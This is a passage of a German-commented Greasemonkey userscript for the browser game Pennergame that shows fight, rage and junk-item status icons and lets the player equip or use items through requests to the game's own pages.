    ShowImg('FBBACK', '/fight/overview/#form1', get_icon("fight")[FightIcon], tooltip, ICON_WIDTH, ICON_WIDTH, 10, 15, 2, 'fight');
    if (FightTitle != "") {
        document.getElementById("fightlnk").addEventListener('mouseover', mouseOverShow, false);
        document.getElementById("fightlnk").addEventListener('mouseout', hideFT, false);
        document.addEventListener('mousemove', updateFT, false);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt das Kampfstatus-Icon an
// **********************************************************************************
// **********************************************************************************
function ShowFightStateIcon(FightState, currentpower, maxpower) {
    switch (FightState) {
        case FIGHTSTATE_OK:
            ShowFightImg(get_icon("fight_ok"), printf(getLangTxt(TOOLTIP_FIGHTOK), currentpower), '', '', 90, 22, 2);
            break;
        case FIGHTSTATE_WEAK:
            ShowFightImg(get_icon("fight_weak"), printf(getLangTxt(TOOLTIP_FIGHTWEAK), currentpower, maxpower), '', '', 90, 22, 2);
            break;
        case FIGHTSTATE_DANG:
            ShowFightImg(get_icon("fight_dang"), printf(getLangTxt(TOOLTIP_FIGHTDANG), currentpower, maxpower), 25, 25, 90, 22, 2);
            break;
        case FIGHTSTATE_ERROR:
            ShowImg('PBBACK', '', get_icon("error"), getLangTxt(TOOLTIP_LOADERROR), '', '', 90, 22, 2, 'fightstateerror');
            break;
        default:
            ShowImg('PBBACK', '/gang/upgrades/', get_icon("error"), 'Unbekannter Zustand!', '', '', 90, 22, 2, 'resetfight');
            break;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt Hintergrundgrafiken an
// **********************************************************************************
// **********************************************************************************
function ShowBackgrounds(version, gangid) {
    if (gangid > 0) {
        ShowImg('', '', get_icon("gangfightback")[version], '', '', '', GF_X, GF_Y, '', 'GFBACK');
        if (lang == 0)
            ShowImg('', '', get_icon("missionback")[version], '', '', '', MI_X, MI_Y, '', 'MIBACK');
    }
    else if (gangid < 0) {
        ShowImg('', '', get_icon("fightback")[version], '', '', '', FB_X, FB_Y, '', 'FBBACK');

        ShowImg('', '', get_icon("plunderdirectback")[version], '', '', '', PD_X, PD_Y, '', 'PDBACK');
        if (!oldVersion)
            ShowImg('', '', get_icon("plundershopback")[version], '', '', '', PS_X, PS_Y, '', 'PSBACK');
        if (noWash)
            ShowImg('', '', get_icon("promilleback2")[version], '', '', '', PW_X, PW_Y, '', 'PWBACK');
        else
            ShowImg('', '', get_icon("promilleback")[version], '', '', '', PW_X, PW_Y, '', 'PWBACK');
        ShowImg('', '', get_icon("attdefwpnback")[version], '', '', '', AD_X, AD_Y, '', 'ADBACK');
        ShowImg('', '', get_icon("sklcrdcrtback")[version], '', '', '', SC_X, SC_Y, '', 'SCBACK');
        if (lockmove)
            ShowImg ('PDBACK', '', get_icon("lock"), getLangTxt(TOOLTIP_LOCK), 10, 10, 240, 1, 1, 'lockmove');
        var langSel = ShowImg('PDBACK', '', getLangTxt(get_icon("flags")), getLangTxt(TxtLang), 16, 11, 2, 1, 2, 'langSelect');
        langSel.addEventListener("click", function(event) {
            myLang++;
            if (myLang == get_icon("flags").length)
               myLang = 0;
            this.src = getIconAddr(getLangTxt(get_icon("flags")));
            this.title = getLangTxt(TxtLang);
            PG_setValue("myLang", myLang);      // Sprache speichern
        }, false);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt Power-Grafik mit Rücksetzmöglichkeit an
// **********************************************************************************
// **********************************************************************************
function ShowFightImg(imgsource, imgtitle, imgwidth, imgheight, imgleft, imgtop, imgzindex) {
    var curElem = ShowImg ('PBBACK', "#", imgsource, imgtitle, imgwidth, imgheight, imgleft, imgtop, imgzindex, 'resetfight');
    if (curElem == null)
        return;
    curElem.addEventListener("click", function(event)
    {
        // Kampfstärke auf 0 zurücksetzen
        PGu_setValue("PowerMaxValue", "0");
        alert(getLangTxt(ALERT_RESETPOWER))
    }, false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt Plunder an
// **********************************************************************************
// **********************************************************************************
function ShowCurrentPlunder(plunderimg, plundername, big) {
    // Wenn derzeit kein Plunder angelegt ist
    if (plunderimg == "none") {
        plunderimg = get_icon("noplunderequip");
        plundername = TxtNoJunk[lang];
    }

    var size = big?"":"16";
    ShowImg('PBBACK', '/stock/plunder/', plunderimg, plundername, size, size, (oldVersion?7:2), (oldVersion?23:16), 10, 'actplunder');
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt das Wut-Icon an
// **********************************************************************************
// **********************************************************************************
function ShowWutIcon(WutState) {
    // Wenn das Icon noch nicht angezeigt wird
    var wuttd = document.getElementById("wutstate");
    var wuttext = "";
    switch (WutState) {
        case WUTSTATE_ACTIVE:
            if (WiWut != 0 && WutDatum != "")
                wuttext = getLangTxt(TxtWiWut[WiWut-1]) + getLangTxt(TOOLTIP_WIWUTAKTIV) + WutDatum;
            if (wuttd == null)
                wuttd = ShowImg('PBBACK', '/gang/upgrades/', get_icon("wutaktiv"), '', '', '', 49, 23, 11, 'wutstate');
            break;
        case WUTSTATE_INACTIVE:
            if (WutDatum != "") {
                wuttext = getLangTxt(TxtWiWut[WiWut-1]) + getLangTxt(TOOLTIP_WIWUTAKTIV) + WutDatum;
                if (wuttd == null) {
                    wuttd = ShowImg('PBBACK', '', get_icon("wutaktiv"), "", '', '', 49, 23, 11, 'wutstate2');
                    ShowImg('PBBACK', '/gang/upgrades/', get_icon("wutinaktiv"), '', '', '', 49, 23, 11, 'wutstate');
                }
            }
            else if (m_owngangid != 0) {
                if (WiWut != 0) {
                    wuttext = getLangTxt(TxtWiWut[WiWut-1]) + getLangTxt(TOOLTIP_WIWUTINAKTIV);
                    if (wuttd == null)
                        wuttd = ShowImg('PBBACK', '/gang/upgrades/', get_icon("wutinaktiv"), '', '', '', 49, 23, 11, 'wutstate');
        }
        else {
                    if (wuttd == null)
                        wuttd = ShowImg('PBBACK', '/gang/', get_icon("wutaktiv"), '', '', '', 49, 23, 11, 'wutstate');
        }
            }
            else {
                if (wuttd == null)
                    wuttd = ShowImg('PBBACK', '/gang/', get_icon("wutinaktiv"), '', '', '', 49, 23, 11, 'wutstate');
                wuttext = getLangTxt(KEYWORD_INGANG) + "!!";
            }
            break;
        case WUTSTATE_ERROR:
            ShowImg('PBBACK', '/gang/upgrades/', get_icon("error"), getLangTxt(TOOLTIP_LOADERROR), '', '', 49, 23, 11, 'wutstate');
            break;
    }
    if (wuttext != "" && wuttd != null) {
        wuttd.title = wuttext;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt den Namen des aktuellen Plunders
// **********************************************************************************
// **********************************************************************************
function GetCurrentPlundername(plunderbox) {
    var plundername = "";
    if (oldVersion) {
        // Wenn derzeit ein Plunder angelegt ist
        if (plunderbox.innerHTML.indexOf('</h4>') != -1) {
            // Namen des aktuellen Plunderstücks extrahieren
            plundername = plunderbox.innerHTML.split('</h4>')[0];
            plundername = plundername.split('alt=" "> ')[1];
        }
    } else {
        var plunderimg = plunderbox.getElementsByTagName("img")[0].getAttribute('src').toString();
        // Wenn derzeit ein Plunder angelegt ist
        if (plunderimg.split('/').pop() != "empty.png") {
            var plunderbx = plunderbox.getElementsByTagName("tr")[1].getElementsByTagName("td")[1].innerHTML;
            // Namen des aktuellen Plunderstücks extrahieren
            var plundername = plunderbx.split('</strong>')[0].split("<strong")[1].split(">")[1];
        }
    }
    return plundername;
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt aktuellen Plunder, speichert Image und Name und stellt den
// aktuellen Plunder dar
// **********************************************************************************
// **********************************************************************************
function GetCurrentPlunder(content) {
    // Aus dem Responsetext ein Document machen
    var doc = HTML2DOM(content);

    var plunderbox = doc.getElementsByClassName(oldVersion?"box special":"box")[0];
    var plundername = GetCurrentPlundername(plunderbox);

    // Wenn derzeit kein Plunder angelegt ist
    if (plundername == "") {
        plundername = "none";
        var plunderimg = "none";
        padd = "";
    // sonst: Es ist derzeit ein Plunder angelegt
    } else {
        // URL des aktuellen Plunderstücks extrahieren
        var plunderimg = plunderbox.getElementsByTagName("img")[0].getAttribute('src').toString();
        padd = GetPlunderDescription(plunderbox.getElementsByTagName("tr")[1].getElementsByTagName("td")[1].innerHTML);
    }
    // Image-URL und Namen speichern
    PGu_setValue("LastPlunderImg", plunderimg);
    PGu_setValue("LastPlunderName", plundername);

    if (plunderimg == "none") {
        plunderimg = get_icon("noplunderequip");
        plundername = TxtNoJunk[lang];
    }
    if (oldVersion)
        // Angelegten Plunder anzeigen
        ShowCurrentPlunder(plunderimg, plundername, 1);
    else {
        function mouseOver(e) {
            var elem = e.target;
            elem.style.left = (PB_X+2)+"px";
            elem.style.top = (PB_Y+18)+"px";
            elem.style.width = "32px";
            elem.style.height = "32px";
            if (elem.id != "actplunder")
                document.getElementById("actplunder").style.zIndex=1;
            if (elem.id != "actplunder2")
                document.getElementById("actplunder2").style.zIndex=1;
            if (elem.id != "actplunder3" && document.getElementById("actplunder3"))
                document.getElementById("actplunder3").style.zIndex=1;
            if (elem.id != "actplunder4" && document.getElementById("actplunder4"))
                document.getElementById("actplunder4").style.zIndex=1;
        }
        function mouseOut(e) {
            var elem=e.target;
            var xpos = (elem.id == "actplunder" || elem.id == "actplunder3")?2:18;
            var ypos = (elem.id == "actplunder" || elem.id == "actplunder2")?16:32;
            elem.style.left=(PB_X+xpos)+"px";
            elem.style.top=(PB_Y+ypos)+"px";
            elem.style.width="16px";
            elem.style.height="16px";
            var zInd = getZ("PBBACK")+1;
            document.getElementById("actplunder").style.zIndex=zInd;
            document.getElementById("actplunder2").style.zIndex=zInd;
            if (document.getElementById("actplunder3"))
                document.getElementById("actplunder3").style.zIndex=zInd;
            if (document.getElementById("actplunder4"))
                document.getElementById("actplunder4").style.zIndex=zInd;
        }
        var korr = (plunderimg == get_icon("noplunderequip"))?1:0;
        var nrOfPlnd = plunderbox.innerHTML.split('id="favorite"')[0].split('<img').length - 1;
        for (var i = 0; i < nrOfPlnd; i++) {
            if (i != 0) {
                plunderimg = plunderbox.getElementsByTagName("img")[i].getAttribute('src').toString();
                if (plunderimg.split('/').pop() != "empty.png") {
                    // Namen des aktuellen Plunderstücks extrahieren
                    plundername = plunderbox.getElementsByClassName("odd ztipfull trhover")[i-korr].getElementsByTagName("td")[1].innerHTML.split('</strong>')[0].split("<strong")[1].split(">")[1];
                    padd = GetPlunderDescription(plunderbox.getElementsByClassName("odd ztipfull trhover")[i-korr].getElementsByTagName("td")[1].innerHTML);
                }
                else {
                    korr++;
                    plunderimg = get_icon("noplunderequip");
                    plundername = TxtNoJunk[lang];
                    padd = "";
                }
            }
            var tab = plunderbox.innerHTML.split("<strong>")[i+1].split("<")[0];
            var actName = "actplunder"+(i==0?"":(i+1));
            var curElem = ShowImg('PBBACK', '/stock/plunder/', plunderimg, tab + ": " + plundername + padd, 16, 16, 2+(i%2?16:0), 16+(i>1?16:0), 10, actName);
            if (curElem != null) {
                curElem.addEventListener("mouseover", mouseOver, false);
                curElem.addEventListener("mouseout", mouseOut, false);
            }
        }
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion extrahiert die eigene UserID
// **********************************************************************************
// **********************************************************************************
function getOwnUserID() {
    try {
        // Eigene UserID ermitteln
        var myprof = document.getElementById("my-profile-new");
        if (!myprof)
            myprof = document.getElementById("my-profile");
        var ownuserid = myprof.innerHTML.split('href="/profil/id:')[1];
        ownuserid = ownuserid.split('/"')[0];

        // Letzte gültige UserID speichern (z.B. beim Zugriff auf Pennerzone)
        GM_setValue("LastOwnUserID", ownuserid);

        return ownuserid;
    } catch(err) {
        GM_log("Fehler beim Ermitteln der eigenen UserID: " + err);

        // Letzte gültige UserID zurückgeben
        return GM_getValue("LastOwnUserID");
    }
}

// ********************************************************************************************************************
// ********************************************************************************************************************
// Funktion ermittelt die Beschreibung des Plunders
// ********************************************************************************************************************
// ********************************************************************************************************************
function GetPlunderDescription(pdesc) {
    var padd = "";
    var padv = pdesc.split('class="padv"');
    if (padv.length > 1)
        if (padv[1].indexOf("<li>") != -1) {
            padv = padv[1].split("</div>")[0].split("</li>");
            for (k = 0; k < padv.length - 1; k++)
                padd += "; " + trimString(padv[k].split("<li>").pop());
        }
    var pinf = pdesc.split('class="pinfo_text');
    for (k = 1; k < pinf.length; k++) {
        padd1 = trimString(pinf[k].split("</p>")[0].split(">").pop());
        if (padd1.substr(-1) == ".")
            padd1 = padd1.substr(0, padd1.length-1);
        if (padd1 != "")
            padd += "; " + padd1;
    }
    if (padd.substr(0,1) == ";")
        padd = padd.substr(2);
    if (padd.substr(-1) == ".")
        padd = padd.substr(0, padd.length-1);
    if (padd != "")
        padd = " (" + convertUni(padd) + ")";
    return padd;
}

// ********************************************************************************************************************
// ********************************************************************************************************************
// Funktion ermittelt anhand des Plundernamens die zugehörige "Action-Nummer", die der JS-Funktion zum Anlegen
// übergeben werden muss. Diese wird vom Spiel vorgegeben, kann sich jederzeit ändern und muss deswegen frisch
// ausgelesen werden
// ********************************************************************************************************************
// ********************************************************************************************************************
function GetActionNumber(content, plunderimg, plundername) {
    try {
        var ActionNumber = content.split(KEYWORD_JUNK[lang])[1];
        var plunderimg = plunderimg.split("~")[0];
        if (content.indexOf("/"+plunderimg) == -1)
            plunderimg = plunderimg.replace(/\....$/, '.png');
        var psplit = content.split("/"+plunderimg);
        if (psplit.length == 1) {
            var pos = ActionNumber.search('> *' + plundername.replace("(", "\\(").replace(")", "\\)") + ' *<');
            if (pos == -1)
                return "";
            pos = ActionNumber.substr(0, pos).lastIndexOf('change_stuff');
            ActionNumber = ActionNumber.substr(pos);
        }
        else {
            for (i = 1; i < psplit.length; i++)
                if (psplit[i].search('> *' + plundername.replace("(", "\\(").replace(")", "\\)").replace("+", "\\+") + ' *<') != -1) {
                    ActionNumber = psplit[i];
                    break;
                }
            if (i >= psplit.length)
                 return "";
        }
        padd = GetPlunderDescription(ActionNumber.split("change_stuff")[1]);
        ActionNumber = ActionNumber.split("change_stuff('")[1].split("'")[0];

        return ActionNumber;
    } catch(err) {
        GM_log("Fehler beim Abrufen der Action-Nummer für " + plundername);
        return "";
    }
}

// ********************************************************************************************************************
// ********************************************************************************************************************
// Funktion ermittelt die noch im Inventar vorhandene Anzahl eines Plunders
// ********************************************************************************************************************
// ********************************************************************************************************************
function GetNumberOfPlunder(content, plundername) {
    try {
        var reg = new RegExp(">" + plundername.replace(/([\\\(\)\[\]\*\+\-\%\^\$\.])/g, '\\$1') + " *<");
        var spl = content.split(reg);
        if (spl.length <= 1)
            return 0;
        var NumberOfPlunder = spl[1];
        if (NumberOfPlunder.indexOf('<td class="col3">') != -1) {
            NumberOfPlunder = NumberOfPlunder.split('<td class="col3">')[1];
            NumberOfPlunder = NumberOfPlunder.split(TxtPiece[lang])[0];
        } else {
            NumberOfPlunder = NumberOfPlunder.split('<span')[1].split('</span')[0];
            NumberOfPlunder = trimString(NumberOfPlunder.split('">x')[1]);
        }
        return NumberOfPlunder;
    } catch(err) {
        GM_log("Fehler beim Abrufen der Plunderanzahl für " + plundername);
        return "";
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob ein Plunder mehrfach hintereinander benutzt werden kann
// **********************************************************************************
// **********************************************************************************
function isMultiUsablePlunder(plunder) {
    var MultiUsablePlunder = new Array ('flaschenlaster', 'geldbeutel', 'buch', 'seife', 'tageskarte', 'haustiertrick',  'gelbbeutel', 'boost_3000_pfandflaschen', 'hexenb', 'skiequ', 'schlitten2', 'plunder_zahn', 'schippchen', 'boost_zehn_euro', 'prov_kugel', 'prov_osterei', 'prov_wollhandschuhe');
    plunder = plunder.split("/").pop().split('.')[0];
    for (var i=0; i < MultiUsablePlunder.length; i++)
        if (MultiUsablePlunder[i] == plunder)
            return true;
    return false;
}

// **********************************************************************************
// **********************************************************************************
// Funktion benutzt einen Plunder weitere Male oder beendet die Benutzung
// **********************************************************************************
// **********************************************************************************
function useMorePlunder(imgtitle, action, phref, mtimes, times, player, count, consume) {
    if (mtimes == 1) {
        GM_xmlhttpRequest({method:"GET", url: PLUNDER_URL + (oldVersion ? "" : "ajax/?"+ajaxcode+"=" + (nrOfTabs >= 6?4:(nrOfTabs==2?1:3))), onload:function(responseDetails) {
            var content = responseDetails.responseText;
            var anzPlunder = GetNumberOfPlunder(content, imgtitle);
            if (anzPlunder === "")
                alert("Fehler bei Ermittlung der Plunderanzahl!! Abbruch !!");
            else {
                var succ = count - anzPlunder;
                if (succ == 0)
                    alert(printf(getLangTxt(TxtJunkNoSucc), imgtitle));
                else if (succ == 1 && times == 1)
                    alert(printf(getLangTxt(TxtJunkUsed), imgtitle));
                else if (succ == times)
                    alert(printf(getLangTxt(TxtJunkSucc), imgtitle, succ));
                else {
                    usePlunder(imgtitle, action, phref, times - succ, times, player, count, consume);
                    return;
                }
            }
            // Seite refreshen
            refreshPage();
        }
        });
    }
    else
        usePlunder(imgtitle, action, phref, mtimes - 1, times, player, count, consume);
}

// **********************************************************************************
// **********************************************************************************
// Funktion benutzt einen Plunder times mal
// **********************************************************************************
// **********************************************************************************
function usePlunder(imgtitle, action, phref, mtimes, times, player, count, consume) {
    var params = "";
    // URL für den Benutzungsrequest zusammenbauen
    if (oldVersion)
        var PLUNDERUSE_URL = PLUNDER_URL + 'use/' + action + '/';
    else if (phref.indexOf("choose_target") != -1) {
        var PLUNDERUSE_URL = PLUNDER_URL + "target_usage/";
        params = "plunderid2="+action+"&plunderid2_fav=0&playername="+player;
    }
    else if (phref != "") {
        var PLUNDERUSE_URL = TOWNBASE_URL + phref.substr(1);
        params = "plunder="+action+"&plunder_count="+(Number(count)-(Number(times)-Number(mtimes)));
    }
    else {
        alert("unknown plunder use");
        return;
    }

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abrufen der Plunderbenutzung (--> Plunder wird benutzt)
    // **********************************************************************************
    GM_log("Plunder wird benutzt: " + PLUNDERUSE_URL + params);
    GM_xmlhttpRequest({method: 'POST', url: PLUNDERUSE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                data: encodeURI(params),
                onload: function(responseDetails) {
                    var confShow = false;
                    if (!consume && responseDetails.responseText.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                        alert(printf(getLangTxt(TxtJunkUsed), imgtitle));
                        refreshPage();
                    }
                    else if (!oldVersion && player == "") {
                        var href = phref.replace('execboost', 'postuse');
                        if (responseDetails.responseText.indexOf(href) != -1) {
                            //PGu_setValue("plunderchange"+imgtitle, "52:Jetpack");
                            //var pch = PGu_getValue("plunderchange"+imgtitle, "");
                            //if (pch != "") {
                            //    var choice = pch.split(":")[0];
                                PLUNDERUSE_URL = TOWNBASE_URL + href.substr(1);
                                GM_xmlhttpRequest({method: 'POST', url: PLUNDERUSE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                data: encodeURI("pid="+action),
                            //    data: encodeURI("pid="+action+"&choice="+choice),
                                onload: function(responseDetails2) {
                                    useMorePlunder(imgtitle, action, phref, mtimes, times, player, count, consume);
                                }});
                            //}
                            //else {
                            //    PLUNDERUSE_URL = TOWNBASE_URL + href.substr(1) + "?pid="+action;
                            //    GM_xmlhttpRequest({method: 'GET', url: PLUNDERUSE_URL, onload: function(responseDetails) {
                            //        useMorePlunder(imgtitle, action, phref, mtimes, times, player, count, consume);
                            //    }
                            //    });
                            //}
                        }
                        else
                            confShow = true;
                    }
                    else
                        confShow = true;
                    if (confShow) {
                        useMorePlunder(imgtitle, action, phref, mtimes, times, player, count, consume);
                    }
                }
                });
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt Plundericon in den Slot <slotnr> hinzu
// **********************************************************************************
// **********************************************************************************
function AddPlunderIcon(content, plunder, imgtitle, usemode, slotnr) {
    // Maximale Anzahl von Slots
    var row = Math.floor((slotnr - 1) / MAXNROFSLOTS);
    var col = (slotnr - 1) % MAXNROFSLOTS;
    row++;
    if (slotnr > 1 && slotnr % MAXNROFSLOTS == 0 && !document.getElementById('PDBACK'+row)) {
        ShowImg('PDBACK', '', get_icon("plunderdirectback")[bgrndInd], '', '', '', 0, row*41, -2*row, 'PDBACK'+row);
    }
    row--;

    // Wenn noch nicht mehr Icons dargestellt werden, als maximal vorgesehen
    if (slotnr  > 0) {
        var ActionNumber = GetActionNumber(content, plunder, imgtitle);

        var actPlunder = PGu_getValue("LastPlunderName", "");
        // **********************************************************************************
        // Wenn der aktuelle Plunder ein anlegbarer Plunder ist mit Stückzahl 0
        // **********************************************************************************
        if (usemode == "A" && ActionNumber == "" && imgtitle != actPlunder) {
            // Aktuellen Plunder aus der Liste entfernen
            RemovePlunderFromList(plunder + "*" + imgtitle + "*A");
            alert(printf(getLangTxt(TxtNoJunkLeft2), imgtitle));
            return -1;
        }
        // **********************************************************************************
        // Wenn der aktuelle Plunder ein benutzbarer Plunder ist mit Stückzahl 0
        // **********************************************************************************
        if (usemode == "B" && ActionNumber == "") {
            // Aktuellen Plunder aus der Liste entfernen
            RemovePlunderFromList(plunder + "*" + imgtitle + "*B");
            alert(printf(getLangTxt(TxtNoJunkLeft), imgtitle));
            return -1;
        }
        // **********************************************************************************
        // sonst: Der aktuelle Plunder wird angelegt, oder es ist ein benutzbarer Plunder, der noch vorhanden ist
        // **********************************************************************************
        var imgtop = oldVersion?18:14 + row * 41;
        var imgleft = 1 + col * 28;

        if (imgtitle.indexOf(TxtTrikot[lang]) != -1)
            PGu_setValue("TrikotanzeigeAus", 0);
        // Wenn der Plunder angelegt werden soll
        if (usemode == "A") {
            var titletext = getLangTxt(TxtEquip) + ": " + imgtitle + padd;
            var usemodeimg = get_icon("plundera");
            var usemodetitletext = getLangTxt(TxtEquipThisJunk);
        // sonst: Der Plunder soll benutzt werden
        } else {
            var anzPlunder = GetNumberOfPlunder(content, imgtitle);
            var titletext = printf(getLangTxt(TxtUseJunk), getLangTxt(TxtUse), imgtitle, anzPlunder) + padd;
            var usemodeimg = get_icon("plunderb");
            var usemodetitletext = getLangTxt(TxtUseThisJunk);
            var tdpm = content.indexOf('id="pm_'+ActionNumber+'"');
            if (tdpm != -1) {
                var href = content.substr(tdpm).split('<a href="')[3].split('"')[0];
                if (href.substr(0,4) == "java") {
                    if (href.indexOf("choose_target") == -1) {
                        href = content.substr(tdpm).split('<form')[1].split('action="')[1].split('"')[0];
                        ActionNumber = content.substr(tdpm).split('<input')[1].split('value="')[1].split('"')[0];
                    }
                    else {
                        ActionNumber = href.split(')')[0].split('(').pop();
                    }
                }
            }
            else
                var href = "";
        }

        // Plundergrafik zusammenbauen
        var newimg = ShowImg('PDBACK', '', getPicAddr(plunder), titletext, '', '', imgleft, imgtop, 1, 'directplunderpic' + slotnr);
        if (newimg == null)
            return 0;
        newimg.style.cursor = 'pointer';
        //newimg.setAttribute('name', usemode);
        var modeimgtop = imgtop + (oldVersion?28:32);
        ShowImg('PDBACK', '', getIconAddr(usemodeimg), usemodetitletext, '', '', imgleft, modeimgtop, 1, 'directplundermodepic' + slotnr);

        // **********************************************************************************
        // Click-Event hinzufügen
        // **********************************************************************************
        newimg.addEventListener("click", function(event)
        {
            var ownuserid = m_ownuserid;

            // **********************************************************************************
            // Wenn es sich um einen anlegbaren Plunder handelt
            // **********************************************************************************
            if (usemode == "A") {
                PGu_setValue("LastPlunderImg", getPicAddr(plunder));
                PGu_setValue("LastPlunderName", imgtitle);

                // Cursor soll Wartesymbol zeigen
                document.body.style.cursor = "wait";
                this.style.cursor = "wait";

                if (!oldVersion) {
                    document.getElementById("actplunder").style.zIndex=1;
                    document.getElementById("actplunder2").style.zIndex=1;
                    if (document.getElementById("actplunder3"))
                        document.getElementById("actplunder3").style.zIndex=1;
                    if (document.getElementById("actplunder4"))
                        document.getElementById("actplunder4").style.zIndex=1;
                }

                // Angelegten Plunder anzeigen
                ShowCurrentPlunder(getPicAddr(plunder), imgtitle, 1);

                // **********************************************************************************
                // *** GM_XMLHTTPREQUEST *** POSTEN des Plunderwechsels
                // **********************************************************************************
                GM_xmlhttpRequest({method: 'POST', url: PLUNDERCHANGE_URL, headers: {'Content-type': 'application/x-www-form-urlencoded'},
                    data: encodeURI('f_plunder=' + ActionNumber),
                    onload: function(responseDetails) {
                        // Seite refreshen
                        refreshPage();
                    }
                });

            // **********************************************************************************
            // sonst: Es handelt sich um einen benutzbaren Plunder
            // **********************************************************************************
            } else {
                // bei PG reloaded: testen, ob es ein Alkohol-Plunder ist (wird nicht verbraucht)
                var confUse = true;
                var consume = true;
                var useTimes = 1;
                if (!oldVersion) {
                    for (var i = 0; i < alcoplunder.length; i++)
                        if (alcoplunder[i] == imgtitle)
                            break;
                    if (i < alcoplunder.length)
                        consume = false;    // Plunder wird nicht verbraucht
                }

                if (href.indexOf("choose_target") != -1) {
                    var player = prompt(getLangTxt(TxtPlayerName), "");
                    if (!player)
                        return;
                }
                else {
                    var player = "";
                }
                if (consume) {
                    if (parseInt(anzPlunder) > 1 &&
                        (isMultiUsablePlunder(plunder) || player != "")) {
                        var prmptTxt = getLangTxt(TxtMultiPlunder1);
                        while (true) {
                            useTimes = prompt(printf(prmptTxt, anzPlunder) + getLangTxt(TxtMultiPlunder), "1");
                            if (!useTimes)
                                return;
                            if (useTimes == null) {
                                useTimes = 0;
                                break;
                            }
                            if (isNaN(useTimes))
                                prmptTxt = getLangTxt(TxtMultiPlunder2);
                            else if (parseInt(useTimes) > parseInt(anzPlunder))
                                prmptTxt = getLangTxt(TxtMultiPlunder3);
                            else
                                break;
                        }
                        confUse = useTimes > 0;
                    }
                    else {
                        confUse = confirm(printf(getLangTxt(TxtReallyUseJunk), imgtitle, GetNumberOfPlunder(content, imgtitle)));
                    }
                }
                // Wenn die Sicherheitsabfrage durch Drücken des "OK"-Buttons positiv beantwortet wurde
                if (confUse) {
                    usePlunder(imgtitle, ActionNumber, href, useTimes, useTimes, player, parseInt(anzPlunder), consume);
                }
            }
        }, false);
        return 0;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt Icon zum Zurücksetzen der Direktplunderliste hinzu
// **********************************************************************************
// **********************************************************************************
function AddResetIcon(plundertable) {

    if (document.getElementById("plunderreset"))
        return;

    // Link zusammenbauen
    var newlink = document.getElementById("content").appendChild(document.createElement('a'));
    newlink.setAttribute('href', '');

    // Grafik zusammenbauen
    var newimg = newlink.appendChild(document.createElement('img'));
    newimg.setAttribute('id', "plunderreset");
    newimg.setAttribute('src', getIconAddr(get_icon("plunderreset")));
    newimg.setAttribute('border', '0');
    newimg.setAttribute('title', getLangTxt(TOOLTIP_PLUNDERRESET));
    newimg.setAttribute('style', 'position:absolute; left:540px; top:50px; z-index:100');

    // Click-Event hinzufügen
    newimg.addEventListener("click", function(event)
    {
        // Plunderliste zurücksetzen
        ResetPlunderList();
    }, false);
}

// **********************************************************************************
// Funktion ermittelt die Adresse eines Bildes
// **********************************************************************************
function getPicAddr(image) {
    var imgSplit = image.split("~");
    var indx = 0;
    if (nrOfTabs >= 6)
        indx = 1;
    if (imgSplit.length > 1) {
        indx = imgSplit[1];
        if (indx >= PLUNDERIMAGE_URL.length)
            indx = 0;
    }
    if (imgSplit.length == 1)
        PGu_setValue("PlunderDirectAccess", PGu_getValue("PlunderDirectAccess", "").replace(image, image+"~"+indx));
    return window.location.protocol + PLUNDERIMAGE_URL[indx] + imgSplit[0];
}

// **********************************************************************************
// Funktion ermittelt aus einer Tabellenzeile den Dateinamen des Plunders
// **********************************************************************************
function GetPlunderPic(currenttr) {
    try {
        for (i = 0; i < PLUNDERIMAGE_URL.length; i++) {
            var plunderpic = currenttr.getElementsByTagName("img")[0].getAttribute("src").split(PLUNDERIMAGE_URL[i]);
            if (plunderpic.length > 1)
                break;
        }
        return trimString(plunderpic[plunderpic.length - 1]) + "~" + i;
    } catch(err) {
        GM_log("Fehler beim Ermitteln des Plunder-Images: " + err);
    }
}

// **********************************************************************************
// Funktion ermittelt aus einer Tabellenzeile den Namen des Plunders
// **********************************************************************************
function GetPlunderName(currenttr) {
    try {
        var pName = currenttr.getElementsByTagName("a")[0].innerHTML;
        if (pName.indexOf('>') != -1)
            pName = pName.split('>')[1].split('<')[0];
        return trimString(pName);
    } catch(err) {
        GM_log("Fehler beim Ermitteln des Plundernamens: " + err);
    }
}

// **********************************************************************************
// Funktion überprüft, ob sich ein Plunder in der Direktzugriffsliste befindet
// **********************************************************************************
function IsPlunderInList(plunderinfo) {
    function umlrep(s) {
        var r = "";
        for (i = 0; i < s.length; i++) {
            var c = s.charCodeAt(i);
            if (c > 127)
                r += "\\" + c;
            else
                r += String.fromCharCode(c);
            }
        return r;
    }
    var pInfo = plunderinfo;
    var piSplit = pInfo.split("~");
    if (piSplit.length == 1) {
        var pos = pInfo.indexOf("*");
        pInfo = pInfo.substr(0, pos) + "~" + (nrOfTabs >= 6)?1:0 + pInfo.substr(pos);
    }
    var plunderList = PGu_getValue("PlunderDirectAccess", "");
    try {
        // Wenn sich die gesuchte Plunderinfo in der Direktzugriffsliste befindet
        // var found = true;
        var pInd = 0;
        var pList = plunderList.split(pInfo);
        if (pList.length == 1)
            pList = umlrep(plunderList).split(umlrep(plunderinfo));
        if (pList.length == 1)
            pList = umlrep(plunderList).split(umlrep(plunderinfo.split('*')[1]));
//        if (pList.length == 1) {
//            var reg = new RegExp(" *\\(\\d\\d\\d\\d\\)\\*", "g");
//            if (plunderinfo.search(reg) == -1)
//                pList = ("|" + plunderList).split("|"+pInfo.split("~")[0]);
//            found = false;
//        }
        if (pList.length > 1) {
            pInd = pList[0].split("|").length;
//            if (pInfo != plunderinfo || !found) {
//                var plinfo = plunderList.split("|");
//                plinfo[pInd-1] = pInfo;
//                plunderList = plinfo.join("|");
//                PGu_setValue("PlunderDirectAccess", plunderList);
//            }
        }
        return pInd;
    } catch(err) {
        GM_log("Fehler in IsPlunderInList: " + err);
    }
}

// **********************************************************************************
